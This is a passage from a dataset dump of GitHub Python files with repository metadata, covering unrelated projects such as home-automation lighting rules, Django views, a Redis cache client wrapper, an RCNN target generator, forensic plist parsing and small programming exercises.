self.turn_on(\"light.stairway_up\",brightness=255,kelvin=2700)\n if sensor_1_state == 'off':\n if self.now_is_between('07:00:00', '22:00:00'):\n if self.getIntegerState(\"sensor.lightlevel_top_floor_stairway\") < 50:\n self.turn_on(\"light.stairway_up\",brightness=255,kelvin=2700)\n\n elif self.now_is_between('22:00:00', '07:00:00'):\n if awake:\n self.turn_on(\"light.stairway_up\",brightness=255,kelvin=2700)\n else:\n self.turn_on(\"light.stairway_up\",brightness=50,kelvin=2200)\n\n elif sensor_1_state == 'on' and sensor_2_state == 'on': # in the off chance that one motion sensor triggers, and the next is turned on before the check is performed.\n self.turn_on(\"light.stairway_up\",brightness=255,kelvin=2700)\n\n elif sensor_1_state == 'off' and sensor_2_state == 'off':\n self.turn_off(\"light.stairway_up\")\n\n def inpuBoolean(self, entity, attribute, old, new, kwargs):\n\n if new == \"on\":\n self.motionTrigger(entity, attribute, old, new, kwargs)\n","repo_name":"Aephir/HomeAssistantConfig","sub_path":"appdaemon/apps/motion/stairway_up_lights.py","file_name":"stairway_up_lights.py","file_ext":"py","file_size_in_byte":4221,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"6144958768","text":"from django.shortcuts import render, redirect\nfrom django.contrib.sites.shortcuts import get_current_site\nimport datetime\nfrom calendar import Calendar\n\n\ndef index(request):\n current_date = datetime.datetime.now()\n current_weekday = datetime.datetime.now().weekday()\n month_iter = Calendar(6).itermonthdates(current_date.year, current_date.month)\n day_before = []\n day_month = []\n day_after = []\n for day in month_iter:\n if day.year < current_date.year or (day.year == current_date.year and day.month < current_date.month):\n day_before.append(day.day)\n elif day.year > current_date.year or (day.year == current_date.year and day.month > current_date.month):\n day_after.append(day.day)\n else:\n day_month.append(day.day)\n return render(request, 'basic/index.html', context={\n 'current_date': current_date,\n 'current_weekday': current_weekday,\n 'day_before': day_before,\n 'day_month': day_month,\n 'day_after': day_after\n })\n\n\ndef about(request):\n return render(request, 'basic/about.html', context={})\n\n\ndef android_browser(request): \n return redirect('https://www.jianyang995.com/projects/project/P3');","repo_name":"yangjufo/Personal-Website","sub_path":"mysite/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"26802092845","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Dec 25 11:28:46 2018\r\n\r\n@author: badat\r\n\"\"\"\r\n\r\nprint('Correct Version')\r\n\r\ndescription = 'using GloVe w2v\\n'\r\ndescription += '-'*30 +'\\n'\r\ndescription += 'VGG'+'\\n'\r\ndescription += '-'*30 +'\\n'\r\nprint(description)\r\n\r\ndim_feature=[14*14,512]\r\nbatch_size=32\r\n\r\ndocker_path = './'\r\nNFS_path = docker_path\r\n\r\n\r\ndim_feature=[14*14,512]\r\nn_epoches = 2\r\nn_train_sample = 5501586\r\n\r\ntrain_img_path = NFS_path+'TFRecords/train_feature_2018_04_ZLIB.tfrecords'\r\nval_img_path = NFS_path+'TFRecords/validation_feature_2018_04_ZLIB.tfrecords'\r\ntest_img_path = NFS_path+'TFRecords/OI_seen_unseen_test_feature_2018_04_ZLIB.tfrecords'\r\n\r\n############# n_iters #############\r\nn_iters = (n_train_sample//batch_size)\r\nif n_train_sample%batch_size != 0:\r\n n_iters += 1\r\nn_iters *= n_epoches\r\n############# n_iters #############\r\ninit_w2v = NFS_path+'wiki_contexts/OpenImage_w2v_context_window_10_glove-wiki-gigaword-300.pkl'\r\nn_report = 150\r\n############# learning_rate #############\r\nlearning_rate_phase_1 = 0.01\r\nlearning_rate_phase_2 = 0.001\r\n\r\n\r\n#################### NUS_WIDE ####################\r\nNUS_WIDE_train_img_path = NFS_path+'TFRecords/NUS_WIDE_Train_full_feature_ZLIB.tfrecords'\r\nNUS_WIDE_val_img_path = NFS_path+'TFRecords/NUS_WIDE_Train_full_feature_ZLIB.tfrecords'\r\nNUS_WIDE_test_img_path = NFS_path+'TFRecords/NUS_WIDE_Test_full_feature_ZLIB.tfrecords'\r\n\r\nNUS_WIDE_n_train_sample = 80000\r\nNUS_WIDE_init_w2v = NFS_path+'wiki_contexts/NUS_WIDE_pretrained_w2v_glove-wiki-gigaword-300'\r\nNUS_WIDE_n_iters = 80000//batch_size*40\r\nNUS_WIDE_zs_n_iters = 80000//batch_size*80\r\nNUS_WIDE_signal_str = 0.3","repo_name":"hbdat/cvpr20_LESA","sub_path":"global_setting.py","file_name":"global_setting.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"32"} +{"seq_id":"20415868574","text":"import pandas as pd\r\nimport os\r\n\r\n\r\nlink = pd.read_csv('assets/links.csv')\r\nnode = pd.read_csv('assets/nodes.csv')\r\ntraffic = pd.read_csv('assets/data2013_1st_week.csv')\r\nlong_island_solar = pd.read_csv('assets/long-island_2013_january_week1.csv')\r\nbrentwood_solar = pd.read_csv('assets/brentwood_2013_Jan_week1.csv')\r\nmedian_serial = {}\r\nnode_to_median = {}\r\nmedians: any\r\n\r\nlatlongs = []\r\n\r\ndef populateLatLong(number_of_medians):\r\n print(\"Populate lat longs......\")\r\n global latlongs, node_to_median\r\n\r\n for index in range(number_of_medians):\r\n dir_name = 'assets/'\r\n temp = pd.read_csv(os.path.join(dir_name, 'latlongs' + str(index+1) + '.csv'))\r\n latlongs.append(temp)\r\n latlongs[index].columns = ['sl.', 'node_id', 'xcoord', 'ycoord']\r\n\r\n for i, row in latlongs[index].iterrows():\r\n node_to_median[row.node_id] = index\r\n \r\n\r\ndef updateMedians():\r\n print(\"Update medians......\")\r\n global medians, median_serial\r\n\r\n medians = pd.read_csv('assets/medians.csv')\r\n medians.columns = ['sl.', 'node_id', 'xcoord', 'ycoord']\r\n \r\n for index, row in medians.iterrows():\r\n median_serial[row.node_id] = index","repo_name":"ahnaf2556/distribute-battery-electric-vehicle","sub_path":"source/simulateOrder/populateData.py","file_name":"populateData.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"862473779","text":"# only two types of loops\n# for and while\nx = [{\"id\": 1, \"name\": \"raj\"}, {\"id\": 2, \"name\": \"rajender\"},\n {\"id\": 3, \"name\": \"rajenderDandyal\"}]\n\nfor item in x:\n print(item[\"id\"])\n print(item[\"name\"])\n\n# break and continue\nfor item in x:\n if item[\"name\"] == \"rajender\":\n continue\n print(item[\"name\"])\n\nfor item in x:\n if item[\"id\"] == 2:\n break\n print(item[\"id\"])\n\n# for else\n# look for name starting with J\n# if found print Found else Not Found\nfound = False\nfor items in x:\n if item[\"name\"].startswith('J'):\n found = True\n break\n\nmessage = \"Found\" if found else \"Not found\"\nprint(message)\n\n# with for else\n# else block executes if the for loop executes successfully\n# without using the break statement\nmessage = None\nfor item in x:\n if item['name'].startswith('J'):\n message = \"Found\"\n break\nelse:\n message = \"Not found\"\nprint(message)\n\n# range\nz = 0\nfor z in range(0, 10, 1):\n print(z)\n\n\n# while loop\ny = 0\nwhile y <= 10:\n print(y)\n y = y+1\n\n# while with else\n# else block will execute even if while loop dosent\nwhile 10 < y < 15:\n print('i am y')\n y = y+1\nelse:\n print('i am y in else')\n","repo_name":"RajenderDandyal/easy-python","sub_path":"loops.py","file_name":"loops.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17029583601","text":"from plaso.events import plist_event\nfrom plaso.parsers import plist\nfrom plaso.parsers.plist_plugins import interface\n\n\n__author__ = 'Joaquin Moreno Garijo (Joaquin.MorenoGarijo.2013@live.rhul.ac.uk)'\n\n\nclass SpotlightPlugin(interface.PlistPlugin):\n \"\"\"Basic plugin to extract Spotlight.\"\"\"\n\n NAME = 'plist_spotlight'\n DESCRIPTION = u'Parser for Spotlight plist files.'\n\n PLIST_PATH = 'com.apple.spotlight.plist'\n PLIST_KEYS = frozenset(['UserShortcuts'])\n\n # Generated events:\n # name of the item: searched term.\n # PATH: path of the program associated to the term.\n # LAST_USED: last time when it was executed.\n # DISPLAY_NAME: the display name of the program associated.\n\n def GetEntries(self, parser_context, match=None, **unused_kwargs):\n \"\"\"Extracts relevant Spotlight entries.\n\n Args:\n parser_context: A parser context object (instance of ParserContext).\n match: Optional dictionary containing keys extracted from PLIST_KEYS.\n The default is None.\n \"\"\"\n for search_text, data in match['UserShortcuts'].iteritems():\n description = (\n u'Spotlight term searched \"{0:s}\" associate to {1:s} '\n u'({2:s})').format(search_text, data['DISPLAY_NAME'], data['PATH'])\n event_object = plist_event.PlistEvent(\n u'/UserShortcuts', search_text, data['LAST_USED'], description)\n parser_context.ProduceEvent(event_object, plugin_name=self.NAME)\n\n\nplist.PlistParser.RegisterPlugin(SpotlightPlugin)\n","repo_name":"cvandeplas/plaso","sub_path":"plaso/parsers/plist_plugins/spotlight.py","file_name":"spotlight.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"40813135387","text":"from poplib import POP3_SSL_PORT\nfrom django.shortcuts import render\n\n\nposts = [\n {\n 'authors':'Inno',\n 'title':'Insta Post',\n 'content':'First post content',\n 'date_posted':'August 27,2021'\n\n },\n {\n 'authors':'Jane',\n 'title':'Insta Post 2',\n 'content':'Second post content',\n 'date_posted':'August 29,2021'\n\n }\n]\n\ndef home(request):\n context = {\n 'posts': posts\n }\n return render(request,'insta/home.html', context)\n\ndef about(request):\n return render(request,'insta/about.html')","repo_name":"Cencious/django_django","sub_path":"insta/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"21119225750","text":"from itertools import combinations\nn = int(input())\n\n# 모든 감소하는 수\nresult = list()\n# 1~10개의 조합 만들기, 10자리수가 마지막 수임\nfor i in range(1, 11):\n for comb in combinations(range(10), i): # 0~9로 하나씩 조합 만들기\n comb = list(comb)\n comb.sort(reverse=True) # 해당 조합을 감소하는 수로 변경\n result.append(int(\"\".join(list(map(str, comb)))))\n\n# 오름차순 정렬\nresult.sort()\n\nif n >= len(result):\n print(-1)\n\n# 인덱스가 넘어 가는 경우 -1 출력. 마지막 수 9876543210\nelse:\n print(result[n])","repo_name":"GyuJeGal/Algorithm-Study","sub_path":"BaekJoon/Problem1038.py","file_name":"Problem1038.py","file_ext":"py","file_size_in_byte":616,"program_lang":"python","lang":"ko","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"21756518940","text":"import tensorflow as tf\nimport sonnet as snt\n\nfrom luminoth.utils.bbox_transform_tf import encode\nfrom luminoth.utils.bbox_overlap import bbox_overlap_tf\n\n\nclass RCNNTarget(snt.AbstractModule):\n \"\"\"Generate RCNN target tensors for both probabilities and bounding boxes.\n\n Targets for RCNN are based upon the results of the RPN, this can get tricky\n in the sense that RPN results might not be the best and it might not be\n possible to have the ideal amount of targets for all the available ground\n truth boxes.\n\n There are two types of targets, class targets and bounding box targets.\n\n Class targets are used both for background and foreground, while bounding\n box targets are only used for foreground (since it's not possible to create\n a bounding box of \"background objects\").\n\n A minibatch size determines how many targets are going to be generated and\n how many are going to be ignored. RCNNTarget is responsible for choosing\n which proposals and corresponding targets are included in the minibatch and\n which ones are completely ignored.\n \"\"\"\n def __init__(self, num_classes, config, seed=None, variances=None,\n name='rcnn_proposal'):\n \"\"\"\n Args:\n num_classes: Number of possible classes.\n config: Configuration object for RCNNTarget.\n \"\"\"\n super(RCNNTarget, self).__init__(name=name)\n self._num_classes = num_classes\n self._variances = variances\n # Ratio of foreground vs background for the minibatch.\n self._foreground_fraction = config.foreground_fraction\n self._minibatch_size = config.minibatch_size\n # IoU lower threshold with a ground truth box to be considered that\n # specific class.\n self._foreground_threshold = config.foreground_threshold\n # High and low treshold to be considered background.\n self._background_threshold_high = config.background_threshold_high\n self._background_threshold_low = config.background_threshold_low\n self._seed = seed\n\n def _build(self, proposals, gt_boxes):\n \"\"\"\n Args:\n proposals: A Tensor with the RPN bounding boxes proposals.\n The shape of the Tensor is (num_proposals, 4).\n gt_boxes: A Tensor with the ground truth boxes for the image.\n The shape of the Tensor is (num_gt, 5), having the truth label\n as the last value for each box.\n Returns:\n proposals_label: Either a truth value of the proposals (a value\n between 0 and num_classes, with 0 being background), or -1 when\n the proposal is to be ignored in the minibatch.\n The shape of the Tensor is (num_proposals, 1).\n bbox_targets: A bounding box regression target for each of the\n proposals that have and greater than zero label. For every\n other proposal we return zeros.\n The shape of the Tensor is (num_proposals, 4).\n \"\"\"\n overlaps = bbox_overlap_tf(proposals, gt_boxes[:, :4])\n # overlaps now contains (num_proposals, num_gt_boxes) with the IoU of\n # proposal P and ground truth box G in overlaps[P, G]\n\n # We are going to label each proposal based on the IoU with\n # `gt_boxes`. Start by filling the labels with -1, marking them as\n # ignored.\n proposals_label_shape = tf.gather(tf.shape(proposals), [0])\n proposals_label = tf.fill(\n dims=proposals_label_shape,\n value=-1.\n )\n # For each overlap there is three possible outcomes for labelling:\n # if max(iou) < config.background_threshold_low then we ignore.\n # elif max(iou) <= config.background_threshold_high then we label\n # background.\n # elif max(iou) > config.foreground_threshold then we label with\n # the highest IoU in overlap.\n #\n # max_overlaps gets, for each proposal, the index in which we can\n # find the gt_box with which it has the highest overlap.\n max_overlaps = tf.reduce_max(overlaps, axis=1)\n\n iou_is_high_enough_for_bg = tf.greater_equal(\n max_overlaps, self._background_threshold_low\n )\n iou_is_not_too_high_for_bg = tf.less(\n max_overlaps, self._background_threshold_high\n )\n bg_condition = tf.logical_and(\n iou_is_high_enough_for_bg, iou_is_not_too_high_for_bg\n )\n proposals_label = tf.where(\n condition=bg_condition,\n x=tf.zeros_like(proposals_label, dtype=tf.float32),\n y=proposals_label\n )\n\n # Get the index of the best gt_box for each proposal.\n overlaps_best_gt_idxs = tf.argmax(overlaps, axis=1)\n # Having the index of the gt bbox with the best label we need to get\n # the label for each gt box and sum it one because 0 is used for\n # background.\n best_fg_labels_for_proposals = tf.add(\n tf.gather(gt_boxes[:, 4], overlaps_best_gt_idxs),\n 1.\n )\n iou_is_fg = tf.greater_equal(\n max_overlaps, self._foreground_threshold\n )\n best_proposals_idxs = tf.argmax(overlaps, axis=0)\n\n # Set the indices in best_proposals_idxs to True, and the rest to\n # false.\n # tf.sparse_to_dense is used because we know the set of indices which\n # we want to set to True, and we know the rest of the indices\n # should be set to False. That's exactly the use case of\n # tf.sparse_to_dense.\n is_best_box = tf.sparse_to_dense(\n sparse_indices=tf.reshape(best_proposals_idxs, [-1]),\n sparse_values=True, default_value=False,\n output_shape=tf.cast(proposals_label_shape, tf.int64),\n validate_indices=False\n )\n # We update proposals_label with the value in\n # best_fg_labels_for_proposals only when the box is foreground.\n proposals_label = tf.where(\n condition=iou_is_fg,\n x=best_fg_labels_for_proposals,\n y=proposals_label\n )\n # Now we need to find the proposals that are the best for each of the\n # gt_boxes. We overwrite the previous proposals_label with this\n # because setting the best proposal for each gt_box has priority.\n best_proposals_gt_labels = tf.sparse_to_dense(\n sparse_indices=tf.reshape(best_proposals_idxs, [-1]),\n sparse_values=gt_boxes[:, 4] + 1,\n default_value=0.,\n output_shape=tf.cast(proposals_label_shape, tf.int64),\n validate_indices=False,\n name=\"get_right_labels_for_bestboxes\"\n )\n proposals_label = tf.where(\n condition=is_best_box,\n x=best_proposals_gt_labels,\n y=proposals_label,\n name=\"update_labels_for_bestbox_proposals\"\n )\n\n # proposals_label now has a value in [0, num_classes + 1] for\n # proposals we are going to use and -1 for the ones we should ignore.\n # But we still need to make sure we don't have a number of proposals\n # higher than minibatch_size * foreground_fraction.\n max_fg = int(self._foreground_fraction * self._minibatch_size)\n fg_condition = tf.logical_or(\n iou_is_fg, is_best_box\n )\n fg_inds = tf.where(\n condition=fg_condition\n )\n\n def disable_some_fgs():\n # We want to delete a randomly-selected subset of fg_inds of\n # size `fg_inds.shape[0] - max_fg`.\n # We shuffle along the dimension 0 and then we get the first\n # num_fg_inds - max_fg indices and we disable them.\n shuffled_inds = tf.random_shuffle(fg_inds, seed=self._seed)\n disable_place = (tf.shape(fg_inds)[0] - max_fg)\n # This function should never run if num_fg_inds <= max_fg, so we\n # add an assertion to catch the wrong behaviour if it happens.\n integrity_assertion = tf.assert_positive(\n disable_place,\n message=\"disable_place in disable_some_fgs is negative.\"\n )\n with tf.control_dependencies([integrity_assertion]):\n disable_inds = shuffled_inds[:disable_place]\n is_disabled = tf.sparse_to_dense(\n sparse_indices=disable_inds,\n sparse_values=True, default_value=False,\n output_shape=tf.cast(proposals_label_shape, tf.int64),\n # We are shuffling the indices, so they may not be ordered.\n validate_indices=False\n )\n return tf.where(\n condition=is_disabled,\n # We set it to -label for debugging purposes.\n x=tf.negative(proposals_label),\n y=proposals_label\n )\n # Disable some fgs if we have too many foregrounds.\n proposals_label = tf.cond(\n tf.greater(tf.shape(fg_inds)[0], max_fg),\n true_fn=disable_some_fgs,\n false_fn=lambda: proposals_label\n )\n\n total_fg_in_batch = tf.shape(\n tf.where(\n condition=tf.greater(proposals_label, 0)\n )\n )[0]\n\n # Now we want to do the same for backgrounds.\n # We calculate up to how many backgrounds we desire based on the\n # final number of foregrounds and the total desired batch size.\n max_bg = self._minibatch_size - total_fg_in_batch\n\n # We can't use bg_condition because some of the proposals that satisfy\n # the IoU conditions to be background may have been labeled as\n # foreground due to them being the best proposal for a certain gt_box.\n bg_mask = tf.equal(proposals_label, 0)\n bg_inds = tf.where(\n condition=bg_mask,\n )\n\n def disable_some_bgs():\n # Mutatis mutandis, all comments from disable_some_fgs apply.\n shuffled_inds = tf.random_shuffle(bg_inds, seed=self._seed)\n disable_place = (tf.shape(bg_inds)[0] - max_bg)\n integrity_assertion = tf.assert_non_negative(\n disable_place,\n message=\"disable_place in disable_some_bgs is negative.\"\n )\n with tf.control_dependencies([integrity_assertion]):\n disable_inds = shuffled_inds[:disable_place]\n is_disabled = tf.sparse_to_dense(\n sparse_indices=disable_inds,\n sparse_values=True, default_value=False,\n output_shape=tf.cast(proposals_label_shape, tf.int64),\n validate_indices=False\n )\n return tf.where(\n condition=is_disabled,\n x=tf.fill(\n dims=proposals_label_shape,\n value=-1.\n ),\n y=proposals_label\n )\n\n proposals_label = tf.cond(\n tf.greater_equal(tf.shape(bg_inds)[0], max_bg),\n true_fn=disable_some_bgs,\n false_fn=lambda: proposals_label\n )\n\n \"\"\"\n Next step is to calculate the proper targets for the proposals labeled\n based on the values of the ground-truth boxes.\n We have to use only the proposals labeled >= 1, each matching with\n the proper gt_boxes\n \"\"\"\n\n # Get the ids of the proposals that matter for bbox_target comparisson.\n is_proposal_with_target = tf.greater(\n proposals_label, 0\n )\n proposals_with_target_idx = tf.where(\n condition=is_proposal_with_target\n )\n # Get the corresponding ground truth box only for the proposals with\n # target.\n gt_boxes_idxs = tf.gather(\n overlaps_best_gt_idxs,\n proposals_with_target_idx\n )\n # Get the values of the ground truth boxes.\n proposals_gt_boxes = tf.gather_nd(\n gt_boxes[:, :4], gt_boxes_idxs\n )\n # We create the same array but with the proposals\n proposals_with_target = tf.gather_nd(\n proposals,\n proposals_with_target_idx\n )\n # We create our targets with bbox_transform.\n bbox_targets_nonzero = encode(\n proposals_with_target,\n proposals_gt_boxes,\n variances=self._variances,\n )\n\n # We unmap targets to proposal_labels (containing the length of\n # proposals)\n bbox_targets = tf.scatter_nd(\n indices=proposals_with_target_idx,\n updates=bbox_targets_nonzero,\n shape=tf.cast(tf.shape(proposals), tf.int64)\n )\n\n proposals_label = proposals_label\n bbox_targets = bbox_targets\n\n return proposals_label, bbox_targets\n","repo_name":"tryolabs/luminoth","sub_path":"luminoth/models/fasterrcnn/rcnn_target.py","file_name":"rcnn_target.py","file_ext":"py","file_size_in_byte":12823,"program_lang":"python","lang":"en","doc_type":"code","stars":2397,"dataset":"github-code","pt":"32"} +{"seq_id":"11622656875","text":"\"\"\"\nModule with the aim to train fire CLI library for python\n\nThis is lot a fun :)))\n\"\"\"\n\nimport fire\n\nvictor_dict = {\n \"name\": \"Victor Pereira\",\n \"hobbies\": [\"Programar\", \"assistir harry potter\", \"dormir\"],\n \"age\": 21,\n \"Father\": \"Marcelo Junior\",\n \"Mother\": \"Aparecida Barbosa\"\n}\n\n\ndef say_hello(name: str=\"Baby\") -> str:\n \"\"\"\n A function that says hello given a name,\n if a name hasn't provided you will be called \n as \"Baby\" :)\n \"\"\"\n\n return f\"Hello {name}\"\n\n\nfire.Fire()","repo_name":"Lnvictor/soccer-fire","sub_path":"fire_example.py","file_name":"fire_example.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71003208410","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('todo/addTask', views.addTask, name='addTask'),\n path('todo/markDone//', views.markDone, name='markDone'),\n path('todo/deleteTask//', views.deleteTask, name='deleteTask'),\n path('todo/markUndone//', views.markUndone, name='markUndone'),\n path('todo/editTask//', views.editTask, name='editTask'),\n]","repo_name":"arunkumar02042002/todo_app_django","sub_path":"todos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"36733024088","text":"contact_list = [{\"name\":'Ratnavalli', \"number\":913, \"email\":\"ratna@gmail.com\"},{\"name\":\"Pavan\", \"number\":9134983477, \"email\":\"pavan@gmail.com\"},{\"name\":\"Surya\",\"number\":816,\"email\":\"surya@gmail.com\"}]\nnm = input(\"Enter name to get contact: \")\nfor i in contact_list:\n if nm in i.values():\n print(i)\nnum = int(input(\"Enter number to get contact details: \"))\nfor j in contact_list:\n if num in j.values():\n print(j)\nnme = input(\"Enter name to get contact details and edit number: \")\nfor k in contact_list:\n if nme in k.values():\n print(k)\n newnum = int(input(\"Enter number to edit the details of Person: \"))\n k[\"number\"] = newnum\n print(k)","repo_name":"ratnavalli24/Python-Lab","sub_path":"Assignment 2/Source/name.py","file_name":"name.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30894922288","text":"import logging\nimport time\nimport typing\nfrom datetime import timedelta\n\nfrom django_redis.client import DefaultClient\n\nif typing.TYPE_CHECKING:\n from redis.client import StrictRedis\n\nlogger = logging.getLogger(__name__)\n\n\nclass TwemRedis:\n KEYS = \"twem::cache::keys::set\"\n forever = float(\"+inf\")\n insert_key_commands = (\n \"hset\",\n \"zadd\",\n \"sadd\",\n \"lpush\",\n \"lpushx\",\n \"rpush\",\n \"rpushx\",\n \"lset\",\n \"linsert\",\n \"getset\",\n \"incrby\",\n \"incr\",\n \"incrbyfloat\",\n \"setnx\",\n )\n\n insert_mapping_commands = (\n \"mset\",\n \"msetnx\",\n )\n\n insert_ex_key_commands = (\n \"psetex\",\n \"setex\",\n )\n\n def __init__(self, client: 'StrictRedis'):\n self._client = client\n\n for m in self.insert_key_commands:\n setattr(self, m, self._execute_insert(getattr(client, m)))\n\n for m in self.insert_mapping_commands:\n setattr(self, m, self._execute_insert_mapping(getattr(client, m)))\n\n for m in self.insert_ex_key_commands:\n setattr(self, m, self._execute_insert_ex(getattr(client, m)))\n\n def __getattr__(self, item):\n return getattr(self._client, item)\n\n def _execute_insert(self, fn):\n def wrapper(name, *args, **options):\n result = fn(name, *args, **options)\n if result:\n self._add_keys(name)\n return result\n\n return wrapper\n\n def _execute_insert_ex(self, fn):\n def wrapper(name, ex, *args, **options):\n result = fn(name, ex, *args, **options)\n if result:\n self._add_keys(name, ex=ex.total_seconds() if isinstance(ex, timedelta) else ex)\n return result\n\n return wrapper\n\n def _execute_insert_mapping(self, fn):\n def wrapper(mapping, *args, **options):\n result = fn(mapping, *args, **options)\n if result:\n self._add_keys(*mapping.keys())\n return result\n\n return wrapper\n\n def _add_keys(self, *name, ex: 'float' = None):\n expires = self.forever\n # 总是比 redis 久一点以避免误差\n if ex:\n expires = time.time() + ex\n self._client.zadd(self.KEYS, {i: expires for i in name})\n\n def set(self, name, value, ex=None, px=None, nx=False, xx=False):\n result = self._client.set(name, value, ex, px, nx, xx)\n if result:\n self._add_keys(name, ex=px / 1000 if px else ex or None)\n return result\n\n def delete(self, *names):\n result = self._client.delete(*names)\n if result > 0:\n self._client.zrem(self.KEYS, *names)\n return result\n\n def expire(self, name, ttl):\n result = self._client.expire(name, ttl)\n if result:\n self._client.zadd(self.KEYS, {name: time.time() + ttl})\n return result\n\n def persist(self, name):\n result = self._client.persist(name)\n if result:\n self._client.zadd(self.KEYS, {name: self.forever})\n return result\n\n def house_keeping(self):\n \"\"\"clean cached keys\"\"\"\n client = self._client\n deletes = []\n updates = {}\n for k, ts in client.zscan_iter(self.KEYS, \"*\"):\n ttl = client.ttl(k)\n if ttl == -2: # 不存在\n deletes.append(k)\n elif ttl == -1:\n if ts != self.forever:\n updates[k] = self.forever\n elif ttl == 0:\n deletes = k\n else:\n updates[k] = time.time() + ttl\n\n if updates:\n client.zadd(self.KEYS, updates)\n\n if deletes:\n client.zrem(self.KEYS, *deletes)\n\n def flushdb(self, asynchronous=False):\n self.delete(*self.keys(), self.KEYS)\n\n def flushall(self, asynchronous=False):\n self.delete(*self.keys(), self.KEYS)\n\n def pipeline(self, transaction=True, shard_hint=None):\n return self\n\n def execute(self, raise_on_error=True):\n return []\n\n def scan_iter(self, match=None, count=None):\n now = time.time()\n client = self._client\n for k, ts in client.zscan_iter(self.KEYS, match):\n if ts <= now:\n # 理论上过期\n ttl = client.ttl(k)\n if ttl == -2 or ttl == 0: # 已删除\n client.zrem(self.KEYS, k)\n continue\n else: # 已更新未同步\n client.zadd(self.KEYS, {k: self.forever if ttl == -1 else time.time() + ttl})\n\n if count is not None:\n count -= 1\n yield k\n\n if count == 0:\n break\n\n def keys(self, pattern='*'):\n return list(self.scan_iter(pattern, None))\n\n\nclass Client(DefaultClient):\n def get_client(self, write=True, tried=(), show_index=False):\n parts = super().get_client(write, tried, show_index)\n if show_index:\n return TwemRedis(parts[0]), parts[1]\n return TwemRedis(parts)\n\n def _update(self, key, delta=0, version=None, client: 'StrictRedis' = None):\n client = client or self.get_client()\n key = self.make_key(key, version=version)\n if not client.exists(key):\n raise ValueError(f\"Key '{key}' not found\")\n return client.incr(key, delta)\n\n def incr(self, key, delta=1, version=None, client=None, ignore_key_check=False):\n return self._update(key, delta, version, client)\n\n def decr(self, key, delta=1, version=None, client=None):\n return self._update(key, -delta, version, client)\n","repo_name":"TencentBlueKing/blueking-paas","sub_path":"svc-rabbitmq/svc_rabbitmq/redis.py","file_name":"redis.py","file_ext":"py","file_size_in_byte":5661,"program_lang":"python","lang":"en","doc_type":"code","stars":134,"dataset":"github-code","pt":"32"} +{"seq_id":"12256060239","text":"\"\"\"This program will arrange the remaining timbits in minimum boxes and calculates its cost.\"\"\"\n# we have to find the total cost the timbits we want\n# timbits cost table\n# Number Price\n\n# 1 $0.20\n# 10 (small box) $1.99\n# 20 (medium box) $3.39\n# 40 (large box) $6.19\ntimbits = int(input())\nTOTAL = 0\n\nbig_box = timbits // 40\nTOTAL += big_box*6.19\ntimbits -= 40*big_box\n\nmed_box = timbits // 20\nTOTAL += med_box*3.39\ntimbits -= 20 * med_box\n\nsmall_box = timbits // 10\nTOTAL += small_box * 1.99\ntimbits -= 10 * small_box\n\nTOTAL += timbits*0.20\n\nprint(TOTAL)\n","repo_name":"shubhamrastogi1810/Python_Practicals","sub_path":"cs_circles_answers/design_debug_timbits.py","file_name":"design_debug_timbits.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73997382171","text":"# Definition for a binary tree node.\nfrom queue import Queue\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass CBTInserter:\n\n def __init__(self, root: TreeNode):\n self.root = root\n \n def insert(self, v: int) -> int:\n q = Queue()\n q.put(self.root)\n while(not q.empty()):\n tmpNode = q.get()\n if tmpNode.left != None:\n q.put(tmpNode.left)\n else:\n tmpNode.left = TreeNode(v)\n return tmpNode.val\n if tmpNode.right != None:\n q.put(tmpNode.right)\n else:\n tmpNode.right = TreeNode(v)\n return tmpNode.val\n \n def get_root(self) -> TreeNode:\n return self.root","repo_name":"Leputa/Leetcode","sub_path":"python/919.Complete Binary Tree Inserter.py","file_name":"919.Complete Binary Tree Inserter.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14687935998","text":"import math\n\nimport numpy as np\nfrom PIL import Image\nfrom torchvision import datasets\nfrom torchvision import transforms\n\nfrom .randaugment import RandAugmentMC\n\n# logger = logging.getLogger(__name__)\n\n\nclass TransformFixMatch(object):\n def __init__(self, mean, std):\n self.weak = transforms.Compose([\n# transforms.ToTensor(),\n transforms.ToPILImage(),\n transforms.RandomHorizontalFlip(), transforms.ToTensor()\n# transforms.RandomCrop(size=224,\n# padding=int(224*0.125),\n# padding_mode='reflect')\n ])\n self.strong = transforms.Compose([\n# transforms.ToTensor(),\n transforms.ToPILImage(),\n transforms.RandomHorizontalFlip(),\n# transforms.RandomCrop(size=224,\n# padding=int(224*0.125),\n# padding_mode='reflect'),\n RandAugmentMC(n=2, m=10), transforms.ToTensor()\n ])\n# self.normalize = transforms.Compose([\n# transforms.ToTensor(), \n# transforms.Normalize(mean=mean, 